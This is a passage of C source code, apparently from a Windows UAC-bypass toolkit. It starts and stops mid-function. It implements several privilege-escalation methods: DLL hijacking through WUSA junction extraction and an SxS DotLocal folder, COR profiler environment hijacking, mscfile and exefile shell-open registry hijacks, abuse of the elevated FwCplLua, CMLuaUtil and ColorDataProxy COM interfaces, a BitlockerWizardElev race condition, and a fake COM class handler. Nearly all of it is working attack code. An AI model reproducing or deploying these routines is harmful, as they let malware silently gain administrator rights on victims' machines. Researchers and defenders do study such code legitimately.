if (!bWusaNeedCleanup)
|
|
break;
|
|
|
|
//
|
|
// Locate target directory.
|
|
//
|
|
lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, T_DOTNET_CLIENT, 0, MAXIMUM_ALLOWED, &hKey);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
lResult = RegQueryInfoKey(hKey,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&cValues,
|
|
&cbMaxValueNameLen,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
if ((cValues == 0) || (cbMaxValueNameLen == 0))
|
|
break;
|
|
|
|
if (cbMaxValueNameLen > MAX_PATH)
|
|
break;
|
|
|
|
bDropComplete = FALSE;
|
|
|
|
//
|
|
// Drop file in each.
|
|
//
|
|
for (i = 0; i < cValues; i++) {
|
|
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
bytesIO = MAX_PATH;
|
|
|
|
lResult = RegEnumValue(hKey,
|
|
i,
|
|
(LPWSTR)&szBuffer,
|
|
&bytesIO,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
lpTargetDirectory = _filepath(szBuffer, szBuffer);
|
|
if (lpTargetDirectory == NULL) {
|
|
bDropComplete = FALSE;
|
|
break;
|
|
}
|
|
|
|
lpEnd = _strend(lpTargetDirectory);
|
|
if (*(lpEnd - 1) == TEXT('\\'))
|
|
*(lpEnd - 1) = TEXT('\0');
|
|
|
|
if (!ucmWusaExtractViaJunction(lpTargetDirectory)) {
|
|
bDropComplete = FALSE;
|
|
break;
|
|
}
|
|
|
|
bDropComplete = TRUE;
|
|
}
|
|
|
|
if (!bDropComplete)
|
|
break;
|
|
|
|
//
|
|
// Exploit dll hijacking.
|
|
//
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, DCOMCNFG_EXE);
|
|
if (supRunProcess(szBuffer, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
if (bWusaNeedCleanup) {
|
|
|
|
//
|
|
// Remove cabinet file if exist.
|
|
//
|
|
ucmWusaCabinetCleanup();
|
|
}
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmJunctionMethodCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine for JunctionMethod.
|
|
*
|
|
*/
|
|
BOOL ucmJunctionMethodCleanup(
|
|
VOID
|
|
)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
|
|
LPWSTR lpTargetDirectory = NULL, lpEnd = NULL, lpTargetDll = NULL;
|
|
|
|
DWORD i, cValues = 0, cbMaxValueNameLen = 0, bytesIO;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
if (g_ctx->dwBuildNumber < 9600) {
|
|
lpTargetDll = OLE32_DLL;
|
|
}
|
|
else {
|
|
lpTargetDll = MSCOREE_DLL;
|
|
}
|
|
|
|
//
|
|
// Locate target directory.
|
|
//
|
|
lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, T_DOTNET_CLIENT, 0, MAXIMUM_ALLOWED, &hKey);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
lResult = RegQueryInfoKey(hKey,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
&cValues,
|
|
&cbMaxValueNameLen,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
if ((cValues == 0) || (cbMaxValueNameLen == 0))
|
|
break;
|
|
|
|
if (cbMaxValueNameLen > MAX_PATH)
|
|
break;
|
|
|
|
//
|
|
// Delete target file in each.
|
|
//
|
|
for (i = 0; i < cValues; i++) {
|
|
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
bytesIO = MAX_PATH;
|
|
|
|
lResult = RegEnumValue(hKey,
|
|
i,
|
|
(LPWSTR)&szBuffer,
|
|
&bytesIO,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
lpTargetDirectory = _filepath(szBuffer, szBuffer);
|
|
if (lpTargetDirectory == NULL) {
|
|
break;
|
|
}
|
|
|
|
lpEnd = _strend(lpTargetDirectory);
|
|
if (*(lpEnd - 1) != TEXT('\\'))
|
|
_strcat(lpEnd, TEXT("\\"));
|
|
|
|
_strcat(szBuffer, lpTargetDll);
|
|
|
|
if (ucmMasqueradedDeleteDirectoryFileCOM(szBuffer)) {
|
|
OutputDebugString(szBuffer);
|
|
}
|
|
}
|
|
|
|
bResult = TRUE;
|
|
|
|
} while (FALSE);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSXSDccwMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Similar to ucmSXSMethod, except using different target app and dll.
|
|
* Dccw idea by Ernesto Fernandez (https://github.com/L3cr0f/DccwBypassUAC)
|
|
*
|
|
*/
|
|
NTSTATUS ucmSXSDccwMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
BOOL bWusaNeedCleanup = FALSE;
|
|
HMODULE hGdiPlus = NULL;
|
|
WCHAR *lpszFullDllPath = NULL, *lpszDirectoryName = NULL;
|
|
SIZE_T sz;
|
|
LPWSTR lpSxsPath = NULL, lpEnd;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2], szTarget[MAX_PATH * 2];
|
|
|
|
SXS_SEARCH_CONTEXT sctx;
|
|
|
|
do {
|
|
//
|
|
// Check if target app available. Maybe unavailable in server edition.
|
|
//
|
|
#ifndef _DEBUG
|
|
_strcpy(szTarget, g_ctx->szSystemDirectory);
|
|
_strcat(szTarget, DCCW_EXE);
|
|
if (!PathFileExists(szTarget)) {
|
|
MethodResult = STATUS_OBJECT_NAME_NOT_FOUND;
|
|
break;
|
|
}
|
|
#endif //_DEBUG
|
|
//
|
|
// Load GdiPlus in our address space to get it full path.
|
|
//
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, GDIPLUS_DLL);
|
|
hGdiPlus = LoadLibrary(szBuffer);
|
|
if (hGdiPlus == NULL) {
|
|
MethodResult = STATUS_DLL_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
sz = UNICODE_STRING_MAX_BYTES;
|
|
|
|
lpszFullDllPath = (WCHAR*)supVirtualAlloc(
|
|
&sz,
|
|
DEFAULT_ALLOCATION_TYPE,
|
|
DEFAULT_PROTECT_TYPE,
|
|
NULL);
|
|
|
|
if (lpszFullDllPath == NULL)
|
|
break;
|
|
|
|
sctx.DllName = GDIPLUS_DLL;
|
|
sctx.SxsKey = GDIPLUS_SXS;
|
|
sctx.FullDllPath = lpszFullDllPath;
|
|
|
|
if (!sxsFindLoaderEntry(&sctx)) {
|
|
MethodResult = STATUS_SXS_KEY_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
lpszDirectoryName = _filename(lpszFullDllPath);
|
|
if (lpszDirectoryName == NULL)
|
|
break;
|
|
|
|
sz = PAGE_SIZE + (_strlen(lpszDirectoryName) * sizeof(WCHAR));
|
|
|
|
lpSxsPath = (LPWSTR)supVirtualAlloc(
|
|
&sz,
|
|
DEFAULT_ALLOCATION_TYPE,
|
|
DEFAULT_PROTECT_TYPE,
|
|
NULL);
|
|
|
|
if (lpSxsPath == NULL)
|
|
break;
|
|
|
|
//
|
|
// Create DotLocal path.
|
|
//
|
|
_strcpy(lpSxsPath, DCCW_EXE);
|
|
_strcat(lpSxsPath, LOCAL_SXS);
|
|
_strcat(lpSxsPath, TEXT("\\"));
|
|
_strcat(lpSxsPath, lpszDirectoryName);
|
|
_strcat(lpSxsPath, TEXT("\\"));
|
|
_strcat(lpSxsPath, GDIPLUS_DLL);
|
|
|
|
//
|
|
// Create fake cab file.
|
|
//
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, GDIPLUS_DLL);
|
|
|
|
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(
|
|
szBuffer,
|
|
ProxyDll,
|
|
ProxyDllSize,
|
|
lpSxsPath);
|
|
|
|
if (!bWusaNeedCleanup)
|
|
break;
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
lpEnd = _strend(szBuffer);
|
|
if (*(lpEnd - 1) == TEXT('\\'))
|
|
*(lpEnd - 1) = TEXT('\0');
|
|
|
|
if (!ucmWusaExtractViaJunction(szBuffer))
|
|
break;
|
|
|
|
Sleep(2000);
|
|
|
|
//
|
|
// Run target.
|
|
//
|
|
if (supRunProcess(szTarget, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
//
|
|
// Cleanup resources.
|
|
//
|
|
if (hGdiPlus != NULL) FreeLibrary(hGdiPlus);
|
|
if (lpszFullDllPath) supVirtualFree(lpszFullDllPath, NULL);
|
|
if (lpSxsPath) supVirtualFree(lpSxsPath, NULL);
|
|
if (bWusaNeedCleanup) ucmWusaCabinetCleanup();
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSXSDccwMethodCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine for SXSDccwMethod.
|
|
*
|
|
*/
|
|
BOOL ucmSXSDccwMethodCleanup(
|
|
VOID
|
|
)
|
|
{
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, DCCW_EXE);
|
|
_strcat(szBuffer, LOCAL_SXS);
|
|
|
|
return ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
}
|
|
|
|
/*
|
|
* ucmCorProfilerMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using COR profiler.
|
|
* http://seclists.org/fulldisclosure/2017/Jul/11
|
|
*
|
|
*/
|
|
NTSTATUS ucmCorProfilerMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
SIZE_T sz = 0;
|
|
GUID guid;
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
LPOLESTR OutputGuidString = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2], szRegBuffer[MAX_PATH * 4];
|
|
|
|
do {
|
|
//
|
|
// Create unique GUID
|
|
//
|
|
if (CoCreateGuid(&guid) != S_OK)
|
|
break;
|
|
|
|
if (StringFromCLSID(&guid, &OutputGuidString) != S_OK)
|
|
break;
|
|
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, MYSTERIOUSCUTETHING);
|
|
_strcat(szBuffer, TEXT(".dll"));
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
supSetEnvVariable(FALSE, NULL, COR_ENABLE_PROFILING, TEXT("1"));
|
|
supSetEnvVariable(FALSE, NULL, COR_PROFILER, OutputGuidString);
|
|
|
|
if (g_ctx->dwBuildNumber >= 9200) {
|
|
supSetEnvVariable(FALSE, NULL, COR_PROFILER_PATH, szBuffer);
|
|
}
|
|
else {
|
|
//
|
|
// On Windows 7 target written on 3+ dotnet, registration required.
|
|
//
|
|
_strcpy(szRegBuffer, T_REG_SOFTWARECLASSESCLSID);
|
|
_strcat(szRegBuffer, OutputGuidString);
|
|
_strcat(szRegBuffer, T_REG_INPROCSERVER32);
|
|
|
|
hKey = NULL;
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szRegBuffer, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
sz = (1 + _strlen(szBuffer)) * sizeof(WCHAR);
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)szBuffer,
|
|
(DWORD)sz);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
RtlSecureZeroMemory(&szRegBuffer, sizeof(szRegBuffer));
|
|
_strcpy(szRegBuffer, T_APARTMENT);
|
|
sz = (1 + _strlen(szRegBuffer)) * sizeof(WCHAR);
|
|
RegSetValueEx(
|
|
hKey,
|
|
T_THREADINGMODEL,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)szRegBuffer,
|
|
(DWORD)sz);
|
|
|
|
}
|
|
|
|
RegCloseKey(hKey);
|
|
}
|
|
}
|
|
|
|
//
|
|
// Load target app and trigger cor profiler, eventvwr snap-in is written in the dotnet.
|
|
//
|
|
if (supRunProcess2(MMC_EXE, EVENTVWR_MSC, NULL, SW_SHOW, FALSE))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
//
|
|
// Cleanup.
|
|
//
|
|
if (OutputGuidString != NULL) {
|
|
supSetEnvVariable(TRUE, NULL, COR_PROFILER, NULL);
|
|
CoTaskMemFree(OutputGuidString);
|
|
}
|
|
|
|
supSetEnvVariable(TRUE, NULL, COR_ENABLE_PROFILING, NULL);
|
|
|
|
if (g_ctx->dwBuildNumber >= 9200)
|
|
supSetEnvVariable(TRUE, NULL, COR_PROFILER_PATH, NULL);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmFwCplLuaMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using FwCplLua undocumented COM interface and mscfile registry hijack.
|
|
* This function expects that supMasqueradeProcess was called on process initialization.
|
|
*
|
|
* Fixed in Windows 10 RS4.
|
|
*
|
|
*/
|
|
NTSTATUS ucmFwCplLuaMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
BOOL bSymLinkCleanup = FALSE;
|
|
DWORD dwKeyDisposition = 0;
|
|
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
HRESULT r = E_FAIL, hr_init;
|
|
|
|
LRESULT lResult;
|
|
HKEY hKey = NULL;
|
|
SIZE_T sz = 0;
|
|
|
|
IFwCplLua *FwCplLua = NULL;
|
|
|
|
WCHAR szKey[MAX_PATH + 1];
|
|
|
|
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
|
|
do {
|
|
|
|
#ifdef _DEBUG
|
|
g_ctx->MethodExecuteType = ucmExTypeIndirectModification;
|
|
#endif
|
|
|
|
RtlSecureZeroMemory(szKey, sizeof(szKey));
|
|
|
|
sz = _strlen(lpszPayload);
|
|
if (sz == 0) {
|
|
MethodResult = STATUS_INVALID_PARAMETER;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Create controlled mscfile entry.
|
|
//
|
|
_strcpy(szKey, T_MSC_SHELL);
|
|
_strcat(szKey, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER,
|
|
szKey,
|
|
0,
|
|
NULL,
|
|
REG_OPTION_NON_VOLATILE,
|
|
MAXIMUM_ALLOWED,
|
|
NULL,
|
|
&hKey,
|
|
&dwKeyDisposition);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
sz = (1 + sz) * sizeof(WCHAR);
|
|
lResult = ERROR_ACCESS_DENIED;
|
|
|
|
switch (g_ctx->MethodExecuteType) {
|
|
|
|
case ucmExTypeIndirectModification:
|
|
|
|
if (supIndirectRegAdd(REG_HKCU,
|
|
szKey,
|
|
NULL,
|
|
NULL,
|
|
lpszPayload))
|
|
{
|
|
lResult = ERROR_SUCCESS;
|
|
}
|
|
|
|
break;
|
|
|
|
case ucmExTypeRegSymlink:
|
|
|
|
if (NT_SUCCESS(supRegSetValueIndirectHKCU(
|
|
szKey,
|
|
NULL,
|
|
lpszPayload,
|
|
(ULONG)sz)))
|
|
{
|
|
bSymLinkCleanup = TRUE;
|
|
lResult = ERROR_SUCCESS;
|
|
}
|
|
|
|
break;
|
|
|
|
case ucmExTypeDefault:
|
|
default:
|
|
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
(DWORD)sz);
|
|
|
|
break;
|
|
}
|
|
|
|
RegCloseKey(hKey);
|
|
hKey = NULL;
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Get elevated COM object for FwCplLua interface.
|
|
//
|
|
r = ucmAllocateElevatedObject(
|
|
T_CLSID_FwCplLua,
|
|
&IID_IFwCplLua,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&FwCplLua);
|
|
|
|
if (r != S_OK)
|
|
break;
|
|
|
|
if (FwCplLua == NULL) {
|
|
r = E_OUTOFMEMORY;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Execute method from FwCplLua interface.
|
|
// This will trigger our payload as shell will attempt to run it.
|
|
//
|
|
r = FwCplLua->lpVtbl->LaunchAdvancedUI(FwCplLua);
|
|
if (SUCCEEDED(r))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
if (FwCplLua != NULL) {
|
|
FwCplLua->lpVtbl->Release(FwCplLua);
|
|
}
|
|
|
|
if (hr_init == S_OK)
|
|
CoUninitialize();
|
|
|
|
//
|
|
// Remove symlink.
|
|
//
|
|
if (bSymLinkCleanup)
|
|
supRemoveRegLinkHKCU();
|
|
|
|
//
|
|
// Remove key with all subkeys.
|
|
//
|
|
if (dwKeyDisposition == REG_CREATED_NEW_KEY)
|
|
supRegDeleteKeyRecursive(HKEY_CURRENT_USER, T_MSC_SHELL);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmDccwCOMMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using ColorDataProxy/CCMLuaUtil undocumented COM interfaces.
|
|
* This function expects that supMasqueradeProcess was called on process initialization.
|
|
*
|
|
*/
|
|
NTSTATUS ucmDccwCOMMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
HRESULT r = E_FAIL, hr_init;
|
|
BOOL bIntApproved1 = FALSE, bIntApproved2 = FALSE;
|
|
|
|
SIZE_T sz = 0;
|
|
|
|
ICMLuaUtil *CMLuaUtil = NULL;
|
|
IColorDataProxy *ColorDataProxy = NULL;
|
|
|
|
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
|
|
do {
|
|
//
|
|
// Potential fix check.
|
|
//
|
|
if (supIsConsentApprovedInterface(T_CLSID_ColorDataProxy, &bIntApproved1)) {
|
|
if (supIsConsentApprovedInterface(T_CLSID_CMSTPLUA, &bIntApproved2))
|
|
if ((bIntApproved1 == FALSE) || (bIntApproved2 == FALSE)) {
|
|
if (ucmShowQuestion(UACFIX) != IDYES) {
|
|
MethodResult = STATUS_CANCELLED;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
sz = _strlen(lpszPayload);
|
|
if (sz == 0) {
|
|
MethodResult = STATUS_INVALID_PARAMETER;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Create elevated COM object for CMLuaUtil.
|
|
//
|
|
r = ucmAllocateElevatedObject(
|
|
T_CLSID_CMSTPLUA,
|
|
&IID_ICMLuaUtil,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&CMLuaUtil);
|
|
|
|
if (r != S_OK) {
|
|
break;
|
|
}
|
|
|
|
if (CMLuaUtil == NULL) {
|
|
r = E_OUTOFMEMORY;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Write new custom calibrator value to HKLM.
|
|
//
|
|
r = CMLuaUtil->lpVtbl->SetRegistryStringValue(CMLuaUtil,
|
|
HKEY_LOCAL_MACHINE,
|
|
T_DISPLAY_CALIBRATION,
|
|
T_CALIBRATOR_VALUE,
|
|
lpszPayload);
|
|
|
|
if (FAILED(r)) {
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Create elevated COM object for ColorDataProxy.
|
|
//
|
|
r = ucmAllocateElevatedObject(
|
|
T_CLSID_ColorDataProxy,
|
|
&IID_IColorDataProxy,
|
|
CLSCTX_LOCAL_SERVER,
|
|
&ColorDataProxy);
|
|
|
|
|
|
if (r != S_OK) {
|
|
break;
|
|
}
|
|
|
|
if (ColorDataProxy == NULL) {
|
|
r = E_OUTOFMEMORY;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Run our "custom calibrator".
|
|
//
|
|
r = ColorDataProxy->lpVtbl->LaunchDccw(ColorDataProxy, 0);
|
|
|
|
if (SUCCEEDED(r))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
Sleep(1000);
|
|
|
|
//
|
|
// Remove calibrator value.
|
|
//
|
|
CMLuaUtil->lpVtbl->DeleteRegistryStringValue(CMLuaUtil,
|
|
HKEY_LOCAL_MACHINE,
|
|
T_DISPLAY_CALIBRATION,
|
|
T_CALIBRATOR_VALUE);
|
|
|
|
} while (FALSE);
|
|
|
|
if (CMLuaUtil != NULL) {
|
|
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
|
|
}
|
|
|
|
if (ColorDataProxy != NULL) {
|
|
ColorDataProxy->lpVtbl->Release(ColorDataProxy);
|
|
}
|
|
|
|
if (hr_init == S_OK)
|
|
CoUninitialize();
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmBitlockerRCMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using BitlockerWizardElev race condition.
|
|
*
|
|
* Fixed in Windows 10 RS4
|
|
*
|
|
*/
|
|
NTSTATUS ucmBitlockerRCMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
#ifndef _WIN64
|
|
NTSTATUS Status;
|
|
#endif
|
|
|
|
BOOL bNeedCleanup = FALSE;
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
DWORD cbData = 0;
|
|
WCHAR szKey[MAX_PATH];
|
|
WCHAR szTargetApp[MAX_PATH * 2];
|
|
|
|
SHELLEXECUTEINFO shinfo;
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
Status = supEnableDisableWow64Redirection(TRUE);
|
|
if (!NT_SUCCESS(Status))
|
|
return Status;
|
|
}
|
|
#endif
|
|
|
|
#ifndef _DEBUG
|
|
_strcpy(szTargetApp, g_ctx->szSystemDirectory);
|
|
_strcat(szTargetApp, BITLOCKERWIZARDELEV_EXE);
|
|
if (!PathFileExists(szTargetApp))
|
|
return STATUS_OBJECT_NAME_NOT_FOUND;
|
|
#endif
|
|
|
|
//
|
|
// Create or open target key.
|
|
//
|
|
_strcpy(szKey, T_EXEFILE_SHELL);
|
|
_strcat(szKey, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
if (lResult == ERROR_SUCCESS) {
|
|
|
|
//
|
|
// Launch target application and suspend it.
|
|
//
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = szTargetApp;
|
|
shinfo.lpParameters = TEXT("X: P F");
|
|
shinfo.lpDirectory = NULL;
|
|
shinfo.nShow = SW_SHOW;
|
|
if (ShellExecuteEx(&shinfo)) {
|
|
NtSuspendProcess(shinfo.hProcess);
|
|
|
|
//
|
|
// Set new exefile handler.
|
|
//
|
|
cbData = (DWORD)((1 + _strlen(lpszPayload)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpszPayload,
|
|
cbData);
|
|
|
|
bNeedCleanup = (lResult == ERROR_SUCCESS);
|
|
|
|
if (bNeedCleanup)
|
|
RegFlushKey(hKey);
|
|
|
|
//
|
|
// Resume target application.
|
|
//
|
|
NtResumeProcess(shinfo.hProcess);
|
|
if (WaitForSingleObject(shinfo.hProcess, 5000) == WAIT_TIMEOUT)
|
|
NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS);
|
|
|
|
NtClose(shinfo.hProcess);
|
|
if (bNeedCleanup) {
|
|
RegDeleteValue(hKey, TEXT(""));
|
|
RegFlushKey(hKey);
|
|
}
|
|
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
RegCloseKey(hKey);
|
|
}
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx->IsWow64) {
|
|
supEnableDisableWow64Redirection(FALSE);
|
|
}
|
|
#endif
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmCOMHandlersMethod2
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using fake COM class handler.
|
|
* https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
|
|
* https://offsec.provadys.com/UAC-bypass-dotnet.html
|
|
*
|
|
* Produced mixed results since Windows 10 RS4.
|
|
*
|
|
*/
|
|
NTSTATUS ucmCOMHandlersMethod2(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
BOOL bNeedCleanup = FALSE, bRemoveFile = FALSE;
|
|
|
|
DWORD cbData = 0;
|
|
LRESULT lResult;
|
|
|
|
WCHAR *s, *d;
|
|
|
|
HKEY SourceKey = NULL, DestKey = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2], szKey[MAX_PATH * 2];
|
|
WCHAR szConvertedName[MAX_PATH * 3];
|
|
|
|
#ifdef _DEBUG
|
|
g_ctx->MethodExecuteType = ucmExTypeIndirectModification;
|
|
#endif
|
|
|
|
do {
|
|
|
|
//
|
|
// Drop Fujinami to the %temp%
|
|
//
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUJINAMI_DLL);
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
bRemoveFile = TRUE;
|
|
|
|
//
|
|
// Copy existing COM handler entry.
|
|
//
|
|
_strcpy(szKey, TEXT("CLSID\\"));
|
|
_strcat(szKey, T_MMCFrameworkSnapInFactory);
|
|
|
|
lResult = RegOpenKeyEx(HKEY_CLASSES_ROOT, szKey, 0, KEY_READ, &SourceKey);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
_strcpy(szKey, T_REG_SOFTWARECLASSESCLSID);
|
|
_strcat(szKey, T_MMCFrameworkSnapInFactory);
|
|
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &DestKey, NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
bNeedCleanup = TRUE;
|
|
|
|
lResult = RegCopyTree(SourceKey, NULL, DestKey);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
RegCloseKey(SourceKey);
|
|
SourceKey = NULL;
|
|
|
|
RegCloseKey(DestKey);
|
|
DestKey = NULL;
|
|
|
|
//
|
|
// Modify entry.
|
|
//
|
|
_strcpy(szKey, T_REG_SOFTWARECLASSESCLSID);
|
|
_strcat(szKey, T_MMCFrameworkSnapInFactory);
|
|
_strcat(szKey, T_REG_INPROCSERVER32);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &SourceKey, NULL);
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set Assembly value.
|
|
//
|
|
cbData = (DWORD)((1 + _strlen(T_FUJINAMI_ASSEMBLY)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_ASSEMBLY,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)T_FUJINAMI_ASSEMBLY,
|
|
cbData);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set Class value.
|
|
//
|
|
cbData = (DWORD)((1 + _strlen(T_FUJINAMI_CLASS)) * sizeof(WCHAR));
|
|
lResult = RegSetValueEx(
|
|
SourceKey,
|
|
T_CLASS,
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)T_FUJINAMI_CLASS,
|
|
cbData);
|
|
|
|
